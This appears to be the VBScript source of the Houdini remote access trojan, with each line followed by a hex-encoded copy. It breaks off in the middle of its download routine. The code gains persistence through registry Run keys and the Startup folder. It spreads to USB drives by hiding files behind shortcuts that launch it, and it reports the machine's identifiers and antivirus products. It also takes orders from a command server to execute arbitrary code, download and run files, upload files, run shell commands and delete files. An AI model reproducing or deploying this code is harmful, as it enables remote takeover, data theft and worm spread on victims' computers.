'<[ recoder : houdini (c) skype : houdini-fx ]> 273C5B207265636F646572203A20686F7564696E692028632920736B797065203A20686F7564696E692D6678205D3E

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= 273D2D3D2D3D2D3D2D3D20636F6E666967203D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D

host = "127.0.0.1" 686F7374203D20223132372E302E302E3122
port = 1234 706F7274203D2031323334
installdir = "%programdata%" 696E7374616C6C646972203D20222570726F6772616D646174612522
lnkfile = true 6C6E6B66696C65203D2074727565
lnkfolder = true 6C6E6B666F6C646572203D2074727565

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-= 273D2D3D2D3D2D3D2D3D207075626C696320766172203D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D

dim shellobj 64696D207368656C6C6F626A20
set shellobj = wscript.createobject("wscript.shell") 736574207368656C6C6F626A203D20777363726970742E6372656174656F626A6563742822777363726970742E7368656C6C2229
dim filesystemobj 64696D2066696C6573797374656D6F626A
set filesystemobj = createobject("scripting.filesystemobject") 7365742066696C6573797374656D6F626A203D206372656174656F626A6563742822736372697074696E672E66696C6573797374656D6F626A6563742229
dim httpobj 64696D20687474706F626A
set httpobj = createobject("msxml2.xmlhttp") 73657420687474706F626A203D206372656174656F626A65637428226D73786D6C322E786D6C687474702229


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-= 273D2D3D2D3D2D3D2D3D2070726976617420766172203D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D

installname = wscript.scriptname 696E7374616C6C6E616D65203D20777363726970742E7363726970746E616D65
startup = shellobj.specialfolders ("startup") & "\" 73746172747570203D207368656C6C6F626A2E7370656369616C666F6C64657273202822737461727475702229202620225C22
installdir = shellobj.expandenvironmentstrings(installdir) & "\" 696E7374616C6C646972203D207368656C6C6F626A2E657870616E64656E7669726F6E6D656E74737472696E677328696E7374616C6C64697229202620225C22
if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\" 6966206E6F742066696C6573797374656D6F626A2E666F6C64657265786973747328696E7374616C6C64697229207468656E2020696E7374616C6C646972203D207368656C6C6F626A2E657870616E64656E7669726F6E6D656E74737472696E677328222574656D70252229202620225C22
spliter = "<" & "|" & ">" 73706C69746572203D20223C22202620227C22202620223E22
sleep = 5000 736C656570203D203530303020
dim response 64696D20726573706F6E7365
dim cmd 64696D20636D64
dim param 64696D20706172616D
info = "" 696E666F203D202222
usbspreading = "" 757362737072656164696E67203D202222
startdate = "" 737461727464617465203D202222
dim oneonce 64696D206F6E656F6E6365

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-= 273D2D3D2D3D2D3D2D3D20636F6465207374617274203D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D2D3D
on error resume next 6F6E206572726F7220726573756D65206E657874


instance 696E7374616E6365
while true 7768696C652074727565

install 696E7374616C6C

response = "" 726573706F6E7365203D202222
response = post ("is-ready","") 726573706F6E7365203D20706F737420282269732D7265616479222C222229
cmd = split (response,spliter) 636D64203D2073706C69742028726573706F6E73652C73706C6974657229
select case cmd (0) 73656C656374206361736520636D6420283029
case "excecute" 636173652022657863656375746522
param = cmd (1) 202020202020706172616D203D20636D6420283129
execute param 2020202020206578656375746520706172616D
case "update" 63617365202275706461746522
param = cmd (1) 202020202020706172616D203D20636D6420283129
oneonce.close 2020202020206F6E656F6E63652E636C6F7365
set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false) 202020202020736574206F6E656F6E6365203D202066696C6573797374656D6F626A2E6F70656E7465787466696C652028696E7374616C6C646972202620696E7374616C6C6E616D65202C322C2066616C736529
oneonce.write param 2020202020206F6E656F6E63652E777269746520706172616D
oneonce.close 2020202020206F6E656F6E63652E636C6F7365
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34) 2020202020207368656C6C6F626A2E72756E2022777363726970742E657865202F2F42202220262063687228333429202620696E7374616C6C646972202620696E7374616C6C6E616D6520262063687228333429
wscript.quit 202020202020777363726970742E7175697420
case "uninstall" 636173652022756E696E7374616C6C22
uninstall 202020202020756E696E7374616C6C
case "send" 63617365202273656E6422
download cmd (1),cmd (2) 202020202020646F776E6C6F616420636D64202831292C636D6420283229
case "site-send" 636173652022736974652D73656E6422
sitedownloader cmd (1),cmd (2) 20202020202073697465646F776E6C6F6164657220636D64202831292C636D6420283229
case "recv" 6361736520227265637622
param = cmd (1) 202020202020706172616D203D20636D6420283129
upload (param) 20202020202075706C6F61642028706172616D29
case "enum-driver" 63617365202022656E756D2D64726976657222
post "is-enum-driver",enumdriver 202020202020706F7374202269732D656E756D2D647269766572222C656E756D6472697665722020
case "enum-faf" 63617365202022656E756D2D66616622
param = cmd (1) 202020202020706172616D203D20636D6420283129
post "is-enum-faf",enumfaf (param) 202020202020706F7374202269732D656E756D2D666166222C656E756D6661662028706172616D29
case "enum-process" 63617365202022656E756D2D70726F6365737322
post "is-enum-process",enumprocess 202020202020706F7374202269732D656E756D2D70726F63657373222C656E756D70726F63657373202020
case "cmd-shell" 63617365202022636D642D7368656C6C22
param = cmd (1) 202020202020706172616D203D20636D6420283129
post "is-cmd-shell",cmdshell (param) 202020202020706F7374202269732D636D642D7368656C6C222C636D647368656C6C2028706172616D292020
case "delete" 6361736520202264656C65746522
param = cmd (1) 202020202020706172616D203D20636D6420283129
deletefaf (param) 20202020202064656C6574656661662028706172616D2920
case "exit-process" 63617365202022657869742D70726F6365737322
param = cmd (1) 202020202020706172616D203D20636D6420283129
exitprocess (param) 2020202020206578697470726F636573732028706172616D2920
case "sleep" 63617365202022736C65657022
param = cmd (1) 202020202020706172616D203D20636D6420283129
sleep = eval (param) 202020202020736C656570203D206576616C2028706172616D292020202020202020
end select 656E642073656C656374

wscript.sleep sleep 777363726970742E736C65657020736C656570

wend 77656E64


sub install 73756220696E7374616C6C
on error resume next 6F6E206572726F7220726573756D65206E657874
dim lnkobj 64696D206C6E6B6F626A
dim filename 64696D2066696C656E616D65
dim foldername 64696D20666F6C6465726E616D65
dim fileicon 64696D2066696C6569636F6E
dim foldericon 64696D20666F6C64657269636F6E

upstart 75707374617274
for each drive in filesystemobj.drives 666F72206561636820647269766520696E2066696C6573797374656D6F626A2E647269766573

if drive.isready = true then 6966202064726976652E69737265616479203D2074727565207468656E
if drive.freespace > 0 then 6966202064726976652E66726565737061636520203E2030207468656E
if drive.drivetype = 1 then 6966202064726976652E64726976657479706520203D2031207468656E
filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true 2020202066696C6573797374656D6F626A2E636F707966696C6520777363726970742E73637269707466756C6C6E616D65202C2064726976652E70617468202620225C22202620696E7374616C6C6E616D652C74727565
if filesystemobj.fileexists (drive.path & "\" & installname) then 202020206966202066696C6573797374656D6F626A2E66696C65657869737473202864726976652E70617468202620225C22202620696E7374616C6C6E616D652920207468656E
filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4 202020202020202066696C6573797374656D6F626A2E67657466696C652864726976652E70617468202620225C2220202620696E7374616C6C6E616D65292E61747472696275746573203D20322B34
end if 20202020656E64206966
for each file in filesystemobj.getfolder( drive.path & "\" ).Files 20202020666F7220656163682066696C6520696E2066696C6573797374656D6F626A2E676574666F6C646572282064726976652E70617468202620225C2220292E46696C6573
if not lnkfile then exit for 20202020202020206966206E6F74206C6E6B66696C65207468656E206578697420666F72
if instr (file.name,".") then 202020202020202069662020696E737472202866696C652E6E616D652C222E2229207468656E
if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then 202020202020202020202020696620206C63617365202873706C69742866696C652E6E616D652C20222E2229202875626F756E642873706C69742866696C652E6E616D652C20222E2229292929203C3E20226C6E6B22207468656E
file.attributes = 2+4 2020202020202020202020202020202066696C652E61747472696275746573203D20322B34
if ucase (file.name) <> ucase (installname) then 20202020202020202020202020202020696620207563617365202866696C652E6E616D6529203C3E2075636173652028696E7374616C6C6E616D6529207468656E
filename = split(file.name,".") 202020202020202020202020202020202020202066696C656E616D65203D2073706C69742866696C652E6E616D652C222E2229
set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk") 2020202020202020202020202020202020202020736574206C6E6B6F626A203D207368656C6C6F626A2E63726561746573686F7274637574202864726976652E70617468202620225C222020262066696C656E616D6520283029202620222E6C6E6B222920
lnkobj.windowstyle = 7 20202020202020202020202020202020202020206C6E6B6F626A2E77696E646F777374796C65203D2037
lnkobj.targetpath = "cmd.exe" 20202020202020202020202020202020202020206C6E6B6F626A2E74617267657470617468203D2022636D642E65786522
lnkobj.workingdirectory = "" 20202020202020202020202020202020202020206C6E6B6F626A2E776F726B696E676469726563746F7279203D202222
lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit" 20202020202020202020202020202020202020206C6E6B6F626A2E617267756D656E7473203D20222F6320737461727420222026207265706C61636528696E7374616C6C6E616D652C2220222C2063687277283334292026202220222026206368727728333429292026202226737461727420222026207265706C6163652866696C652E6E616D652C2220222C206368727728333429202620222022202620636872772833342929202622266578697422
fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 202020202020202020202020202020202020202066696C6569636F6E203D207368656C6C6F626A2E72656772656164202822484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C636C61737365735C222026207368656C6C6F626A2E72656772656164202822484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C636C61737365735C2E2220262073706C69742866696C652E6E616D652C20222E22292875626F756E642873706C69742866696C652E6E616D652C20222E222929292620225C2229202620225C64656661756C7469636F6E5C222920
if instr (fileicon,",") = 0 then 202020202020202020202020202020202020202069662020696E737472202866696C6569636F6E2C222C2229203D2030207468656E
lnkobj.iconlocation = file.path 2020202020202020202020202020202020202020202020206C6E6B6F626A2E69636F6E6C6F636174696F6E203D2066696C652E70617468
else 2020202020202020202020202020202020202020656C736520
lnkobj.iconlocation = fileicon 2020202020202020202020202020202020202020202020206C6E6B6F626A2E69636F6E6C6F636174696F6E203D2066696C6569636F6E
end if 2020202020202020202020202020202020202020656E64206966
lnkobj.save() 20202020202020202020202020202020202020206C6E6B6F626A2E736176652829
end if 20202020202020202020202020202020656E64206966
end if 202020202020202020202020656E64206966
end if 2020202020202020656E64206966
next 202020206E657874
for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders 20202020666F72206561636820666F6C64657220696E2066696C6573797374656D6F626A2E676574666F6C646572282064726976652E70617468202620225C2220292E737562666F6C64657273
if not lnkfolder then exit for 20202020202020206966206E6F74206C6E6B666F6C646572207468656E206578697420666F72
folder.attributes = 2+4 2020202020202020666F6C6465722E61747472696275746573203D20322B34
foldername = folder.name 2020202020202020666F6C6465726E616D65203D20666F6C6465722E6E616D65
set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk") 2020202020202020736574206C6E6B6F626A203D207368656C6C6F626A2E63726561746573686F7274637574202864726976652E70617468202620225C2220202620666F6C6465726E616D65202620222E6C6E6B222920
lnkobj.windowstyle = 7 20202020202020206C6E6B6F626A2E77696E646F777374796C65203D2037
lnkobj.targetpath = "cmd.exe" 20202020202020206C6E6B6F626A2E74617267657470617468203D2022636D642E65786522
lnkobj.workingdirectory = "" 20202020202020206C6E6B6F626A2E776F726B696E676469726563746F7279203D202222
lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit" 20202020202020206C6E6B6F626A2E617267756D656E7473203D20222F6320737461727420222026207265706C61636528696E7374616C6C6E616D652C2220222C20636872772833342920262022202220262063687277283334292920262022267374617274206578706C6F72657220222026207265706C61636528666F6C6465722E6E616D652C2220222C206368727728333429202620222022202620636872772833342929202622266578697422
foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 2020202020202020666F6C64657269636F6E203D207368656C6C6F626A2E72656772656164202822484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C636C61737365735C666F6C6465725C64656661756C7469636F6E5C222920
if instr (foldericon,",") = 0 then 202020202020202069662020696E7374722028666F6C64657269636F6E2C222C2229203D2030207468656E
lnkobj.iconlocation = folder.path 2020202020202020202020206C6E6B6F626A2E69636F6E6C6F636174696F6E203D20666F6C6465722E70617468
else 2020202020202020656C736520
lnkobj.iconlocation = foldericon 2020202020202020202020206C6E6B6F626A2E69636F6E6C6F636174696F6E203D20666F6C64657269636F6E
end if 2020202020202020656E64206966
lnkobj.save() 20202020202020206C6E6B6F626A2E736176652829
next 202020206E657874
end If 656E64204966
end If 656E64204966
end if 656E64206966
next 6E657874
err.clear 6572722E636C656172
end sub 656E6420737562

sub uninstall 73756220756E696E7374616C6C
on error resume next 6F6E206572726F7220726573756D65206E657874
dim filename 64696D2066696C656E616D65
dim foldername 64696D20666F6C6465726E616D65

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) 7368656C6C6F626A2E72656764656C6574652022484B45595F43555252454E545F555345525C736F6674776172655C6D6963726F736F66745C77696E646F77735C63757272656E7476657273696F6E5C72756E5C2220262073706C69742028696E7374616C6C6E616D652C222E2229283029
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) 7368656C6C6F626A2E72656764656C6574652022484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C6D6963726F736F66745C77696E646F77735C63757272656E7476657273696F6E5C72756E5C2220262073706C69742028696E7374616C6C6E616D652C222E2229283029
filesystemobj.deletefile startup & installname ,true 66696C6573797374656D6F626A2E64656C65746566696C652073746172747570202620696E7374616C6C6E616D65202C74727565
filesystemobj.deletefile wscript.scriptfullname ,true 66696C6573797374656D6F626A2E64656C65746566696C6520777363726970742E73637269707466756C6C6E616D65202C74727565

for each drive in filesystemobj.drives 666F7220206561636820647269766520696E2066696C6573797374656D6F626A2E647269766573
if drive.isready = true then 6966202064726976652E69737265616479203D2074727565207468656E
if drive.freespace > 0 then 6966202064726976652E66726565737061636520203E2030207468656E
if drive.drivetype = 1 then 6966202064726976652E64726976657479706520203D2031207468656E
for each file in filesystemobj.getfolder ( drive.path & "\").files 20202020666F722020656163682066696C6520696E2066696C6573797374656D6F626A2E676574666F6C64657220282064726976652E70617468202620225C22292E66696C6573
on error resume next 2020202020202020206F6E206572726F7220726573756D65206E657874
if instr (file.name,".") then 20202020202020202069662020696E737472202866696C652E6E616D652C222E2229207468656E
if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then 20202020202020202020202020696620206C63617365202873706C69742866696C652E6E616D652C20222E22292875626F756E642873706C69742866696C652E6E616D652C20222E2229292929203C3E20226C6E6B22207468656E
file.attributes = 0 202020202020202020202020202020202066696C652E61747472696275746573203D2030
if ucase (file.name) <> ucase (installname) then 2020202020202020202020202020202020696620207563617365202866696C652E6E616D6529203C3E2075636173652028696E7374616C6C6E616D6529207468656E
filename = split(file.name,".") 20202020202020202020202020202020202020202066696C656E616D65203D2073706C69742866696C652E6E616D652C222E2229
filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" ) 20202020202020202020202020202020202020202066696C6573797374656D6F626A2E64656C65746566696C65202864726976652E70617468202620225C2220262066696C656E616D65283029202620222E6C6E6B222029
else 2020202020202020202020202020202020656C7365
filesystemobj.deletefile (drive.path & "\" & file.name) 20202020202020202020202020202020202020202066696C6573797374656D6F626A2E64656C65746566696C65202864726976652E70617468202620225C2220262066696C652E6E616D6529
end If 2020202020202020202020202020202020656E64204966
else 20202020202020202020202020656C7365
filesystemobj.deletefile (file.path) 202020202020202020202020202020202066696C6573797374656D6F626A2E64656C65746566696C65202866696C652E706174682920
end if 20202020202020202020202020656E64206966
end if 202020202020202020656E64206966
next 20202020206E657874
for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders 2020202020666F72206561636820666F6C64657220696E2066696C6573797374656D6F626A2E676574666F6C646572282064726976652E70617468202620225C2220292E737562666F6C64657273
folder.attributes = 0 202020202020202020666F6C6465722E61747472696275746573203D2030
next 20202020206E657874
end if 656E64206966
end if 656E64206966
end if 656E64206966
next 6E657874
wscript.quit 777363726970742E71756974
end sub 656E6420737562

function post (cmd ,param) 66756E6374696F6E20706F73742028636D64202C706172616D29

post = param 706F7374203D20706172616D
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false 687474706F626A2E6F70656E2022706F7374222C22687474703A2F2F22202620686F7374202620223A22202620706F72742026222F22202620636D642C2066616C7365
httpobj.setrequestheader "user-agent:",information 687474706F626A2E736574726571756573746865616465722022757365722D6167656E743A222C696E666F726D6174696F6E
httpobj.send param 687474706F626A2E73656E6420706172616D
post = httpobj.responsetext 706F7374203D20687474706F626A2E726573706F6E736574657874
end function 656E642066756E6374696F6E

function information 66756E6374696F6E20696E666F726D6174696F6E
on error resume next 6F6E206572726F7220726573756D65206E657874
if inf = "" then 69662020696E66203D202222207468656E
inf = hwid & spliter 20202020696E66203D206877696420262073706C6974657220
inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter 20202020696E66203D20696E66202026207368656C6C6F626A2E657870616E64656E7669726F6E6D656E74737472696E6773282225636F6D70757465726E616D6525222920262073706C6974657220
inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter 20202020696E66203D20696E66202026207368656C6C6F626A2E657870616E64656E7669726F6E6D656E74737472696E6773282225757365726E616D6525222920262073706C69746572

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") 2020202073657420726F6F74203D206765746F626A656374282277696E6D676D74733A7B696D706572736F6E6174696F6E6C6576656C3D696D706572736F6E6174657D215C5C2E5C726F6F745C63696D76322229
set os = root.execquery ("select * from win32_operatingsystem") 20202020736574206F73203D20726F6F742E65786563717565727920282273656C656374202A2066726F6D2077696E33325F6F7065726174696E6773797374656D2229
for each osinfo in os 20202020666F722065616368206F73696E666F20696E206F73
inf = inf & osinfo.caption & spliter 20202020202020696E66203D20696E662026206F73696E666F2E63617074696F6E20262073706C697465722020
exit for 202020202020206578697420666F72
next 202020206E657874
inf = inf & "plus" & spliter 20202020696E66203D20696E6620262022706C75732220262073706C69746572
inf = inf & security & spliter 20202020696E66203D20696E66202620736563757269747920262073706C69746572
inf = inf & usbspreading 20202020696E66203D20696E66202620757362737072656164696E67
information = inf 20202020696E666F726D6174696F6E203D20696E662020
else 656C7365
information = inf 20202020696E666F726D6174696F6E203D20696E66
end if 656E64206966
end function 656E642066756E6374696F6E


sub upstart () 7375622075707374617274202829
on error resume Next 6F6E206572726F7220726573756D65204E657874

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" 7368656C6C6F626A2E72656777726974652022484B45595F43555252454E545F555345525C736F6674776172655C6D6963726F736F66745C77696E646F77735C63757272656E7476657273696F6E5C72756E5C2220262073706C69742028696E7374616C6C6E616D652C222E22292830292C202022777363726970742E657865202F2F4220222026206368727728333429202620696E7374616C6C646972202620696E7374616C6C6E616D652026206368727728333429202C20225245475F535A22
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" 7368656C6C6F626A2E72656777726974652022484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C6D6963726F736F66745C77696E646F77735C63757272656E7476657273696F6E5C72756E5C2220262073706C69742028696E7374616C6C6E616D652C222E22292830292C202022777363726970742E657865202F2F422022202026206368727728333429202620696E7374616C6C646972202620696E7374616C6C6E616D652026206368727728333429202C20225245475F535A22
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true 66696C6573797374656D6F626A2E636F707966696C6520777363726970742E73637269707466756C6C6E616D652C696E7374616C6C646972202620696E7374616C6C6E616D652C74727565
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true 66696C6573797374656D6F626A2E636F707966696C6520777363726970742E73637269707466756C6C6E616D652C73746172747570202620696E7374616C6C6E616D65202C74727565

end sub 656E6420737562


function hwid 66756E6374696F6E2068776964
on error resume next 6F6E206572726F7220726573756D65206E657874

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") 73657420726F6F74203D206765746F626A656374282277696E6D676D74733A7B696D706572736F6E6174696F6E6C6576656C3D696D706572736F6E6174657D215C5C2E5C726F6F745C63696D76322229
set disks = root.execquery ("select * from win32_logicaldisk") 736574206469736B73203D20726F6F742E65786563717565727920282273656C656374202A2066726F6D2077696E33325F6C6F676963616C6469736B2229
for each disk in disks 666F722065616368206469736B20696E206469736B73
if disk.volumeserialnumber <> "" then 20202020696620206469736B2E766F6C756D6573657269616C6E756D626572203C3E202222207468656E
hwid = disk.volumeserialnumber 202020202020202068776964203D206469736B2E766F6C756D6573657269616C6E756D626572
exit for 20202020202020206578697420666F72
end if 20202020656E64206966
next 6E657874
end function 656E642066756E6374696F6E


function security 66756E6374696F6E20736563757269747920
on error resume next 6F6E206572726F7220726573756D65206E657874

security = "" 7365637572697479203D202222

set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") 736574206F626A776D6973657276696365203D206765746F626A656374282277696E6D676D74733A7B696D706572736F6E6174696F6E6C6576656C3D696D706572736F6E6174657D215C5C2E5C726F6F745C63696D76322229
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48) 73657420636F6C6974656D73203D206F626A776D69736572766963652E657865637175657279282273656C656374202A2066726F6D2077696E33325F6F7065726174696E6773797374656D222C2C343829
for each objitem in colitems 666F722065616368206F626A6974656D20696E20636F6C6974656D73
versionstr = split (objitem.version,".") 2020202076657273696F6E737472203D2073706C697420286F626A6974656D2E76657273696F6E2C222E2229
next 6E657874
versionstr = split (colitems.version,".") 76657273696F6E737472203D2073706C69742028636F6C6974656D732E76657273696F6E2C222E2229
osversion = versionstr (0) & "." 6F7376657273696F6E203D2076657273696F6E73747220283029202620222E22
for x = 1 to ubound (versionstr) 666F72202078203D203120746F2075626F756E64202876657273696F6E73747229
osversion = osversion & versionstr (i) 09206F7376657273696F6E203D206F7376657273696F6E2026202076657273696F6E73747220286929
next 6E657874
osversion = eval (osversion) 6F7376657273696F6E203D206576616C20286F7376657273696F6E29
if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter" 696620206F7376657273696F6E203E2036207468656E207363203D2022736563757269747963656E746572322220656C7365207363203D2022736563757269747963656E74657222

set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) 736574206F626A736563757269747963656E746572203D206765746F626A656374282277696E6D676D74733A5C5C6C6F63616C686F73745C726F6F745C22202620736329
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) 53657420636F6C616E74697669727573203D206F626A736563757269747963656E7465722E657865637175657279282273656C656374202A2066726F6D20616E7469766972757370726F64756374222C2277716C222C3029

for each objantivirus in colantivirus 666F722065616368206F626A616E7469766972757320696E20636F6C616E74697669727573
security = security & objantivirus.displayname & " ." 20202020736563757269747920203D207365637572697479202026206F626A616E746976697275732E646973706C61796E616D6520262022202E22
next 6E657874
if security = "" then security = "nan-av" 696620736563757269747920203D202222207468656E20736563757269747920203D20226E616E2D617622
end function 656E642066756E6374696F6E


function instance 66756E6374696F6E20696E7374616E6365
on error resume next 6F6E206572726F7220726573756D65206E657874

usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\") 757362737072656164696E67203D207368656C6C6F626A2E72656772656164202822484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C2220262073706C69742028696E7374616C6C6E616D652C222E2229283029202620225C2229
if usbspreading = "" then 696620757362737072656164696E67203D202222207468656E
if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then 2020206966206C636173652028206D696428777363726970742E73637269707466756C6C6E616D652C322929203D20223A5C22202620206C6361736528696E7374616C6C6E616D6529207468656E
usbspreading = "true - " & date 202020202020757362737072656164696E67203D202274727565202D202220262064617465
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" 2020202020207368656C6C6F626A2E72656777726974652022484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C2220262073706C69742028696E7374616C6C6E616D652C222E222928302920202620225C222C2020757362737072656164696E672C20225245475F535A22
else 202020656C7365
usbspreading = "false - " & date 202020202020757362737072656164696E67203D202266616C7365202D202220262064617465
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" 2020202020207368656C6C6F626A2E72656777726974652022484B45595F4C4F43414C5F4D414348494E455C736F6674776172655C2220262073706C69742028696E7374616C6C6E616D652C222E222928302920202620225C222C2020757362737072656164696E672C20225245475F535A22

end if 202020656E64206966
end If 656E64204966



upstart 75707374617274
set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname) 7365742073637269707466756C6C6E616D6573686F7274203D202066696C6573797374656D6F626A2E67657466696C652028777363726970742E73637269707466756C6C6E616D6529
set installfullnameshort = filesystemobj.getfile (installdir & installname) 73657420696E7374616C6C66756C6C6E616D6573686F7274203D202066696C6573797374656D6F626A2E67657466696C652028696E7374616C6C646972202620696E7374616C6C6E616D6529
if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 696620206C63617365202873637269707466756C6C6E616D6573686F72742E73686F72747061746829203C3E206C636173652028696E7374616C6C66756C6C6E616D6573686F72742E73686F72747061746829207468656E20
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34) 202020207368656C6C6F626A2E72756E2022777363726970742E657865202F2F42202220262063687228333429202620696E7374616C6C646972202620696E7374616C6C6E616D6520262043687228333429
wscript.quit 20202020777363726970742E7175697420
end If 656E64204966
err.clear 6572722E636C656172
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false) 736574206F6E656F6E6365203D2066696C6573797374656D6F626A2E6F70656E7465787466696C652028696E7374616C6C646972202620696E7374616C6C6E616D65202C382C2066616C736529
if err.number > 0 then wscript.quit 696620206572722E6E756D626572203E2030207468656E20777363726970742E71756974
end function 656E642066756E6374696F6E


sub sitedownloader (fileurl,filename) 7375622073697465646F776E6C6F61646572202866696C6575726C2C66696C656E616D6529

strlink = fileurl 7374726C696E6B203D2066696C6575726C
strsaveto = installdir & filename 73747273617665746F203D20696E7374616C6C64697220262066696C656E616D65
set objhttpdownload = createobject("msxml2.xmlhttp" ) 736574206F626A68747470646F776E6C6F6164203D206372656174656F626A65637428226D73786D6C322E786D6C68747470222029
objhttpdownload.open "get", strlink, false 6F626A68747470646F776E6C6F61642E6F70656E2022676574222C207374726C696E6B2C2066616C7365
objhttpdownload.send 6F626A68747470646F776E6C6F61642E73656E64

set objfsodownload = createobject ("scripting.filesystemobject") 736574206F626A66736F646F776E6C6F6164203D206372656174656F626A656374202822736372697074696E672E66696C6573797374656D6F626A6563742229
if objfsodownload.fileexists (strsaveto) then 696620206F626A66736F646F776E6C6F61642E66696C65657869737473202873747273617665746F29207468656E
objfsodownload.deletefile (strsaveto) 202020206F626A66736F646F776E6C6F61642E64656C65746566696C65202873747273617665746F29
end if 656E64206966
20
if objhttpdownload.status = 200 then 6966206F626A68747470646F776E6C6F61642E737461747573203D20323030207468656E
dim objstreamdownload 20202064696D20206F626A73747265616D646F776E6C6F6164
set objstreamdownload = createobject("adodb.stream") 20202073657420206F626A73747265616D646F776E6C6F6164203D206372656174656F626A656374282261646F64622E73747265616D2229
with objstreamdownload 20202077697468206F626A73747265616D646F776E6C6F6164
.type = 1 09092E74797065203D203120
.open 09092E6F70656E
.write objhttpdownload.responsebody 09092E7772697465206F626A68747470646F776E6C6F61642E726573706F6E7365626F6479
.savetofile strsaveto 09092E73617665746F66696C652073747273617665746F
.close 09092E636C6F7365
end with 202020656E642077697468
set objstreamdownload = nothing 202020736574206F626A73747265616D646F776E6C6F6164203D206E6F7468696E67
end if 656E64206966
if objfsodownload.fileexists(strsaveto) then 6966206F626A66736F646F776E6C6F61642E66696C656578697374732873747273617665746F29207468656E
shellobj.run objfsodownload.getfile (strsaveto).shortpath 2020207368656C6C6F626A2E72756E206F626A66736F646F776E6C6F61642E67657466696C65202873747273617665746F292E73686F727470617468
end if 656E6420696620
end sub 656E6420737562

sub download (fileurl,filedir) 73756220646F776E6C6F6164202866696C6575726C2C66696C6564697229

if filedir = "" then 69662066696C65646972203D202222207468656E20
filedir = installdir 20202066696C65646972203D20696E7374616C6C646972
end if 656E64206966

strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1) 73747273617665746F203D2066696C656469722026206D6964202866696C6575726C2C20696E737472726576202866696C6575726C2C225C2229202B203129
set objhttpdownload = createobject("msxml2.xmlhttp") 736574206F626A68747470646F776E6C6F6164203D206372656174656F626A65637428226D73786D6C322E786D6C687474702229
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false 6F626A68747470646F776E6C6F61642E6F70656E2022706F7374222C22687474703A2F2F22202620686F7374202620223A22202620706F72742026222F222026202269732D73656E64696E672220262073706C6974657220262066696C6575726C2C2066616C7365
objhttpdownload.send "" 6F626A68747470646F776E6C6F61642E73656E64202222
2020202020
